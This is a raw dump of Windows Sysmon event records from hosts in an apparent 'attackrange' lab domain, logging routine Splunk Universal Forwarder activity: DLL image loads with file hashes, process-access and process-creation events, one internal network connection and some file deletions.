14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000051479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000051478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000051477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000051476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000051475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000051474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000051473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000051472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000051471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000051470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000051469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000051468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000051467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000051466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000051465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000051464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000051463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000051462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000051461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000051460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000051459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000051458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000051457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000051455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000051454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000051453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000051448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000051447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.239{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000016512Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:15.544{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50297-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016514Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:18.300{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=36E31F6FF3D291E339B0DD5D998BD018,SHA256=217B3ED2C8A1007F51C0182E47255A3DD12FA4C118293E5CCFD45B79BC76248D,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000051607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000051606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.764{7BD73061-72C6-613B-630B-00000000F001}52722768C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.764{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000051604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.763{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000051603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.417{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=12CCDC4790E635B175E61C17BD61C548,SHA256=A57A838CC3D0D7FB18CF7C98EFC06FFEC3B2CE6A40DB0EDA8C46EDF711237E54,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000051602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.417{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 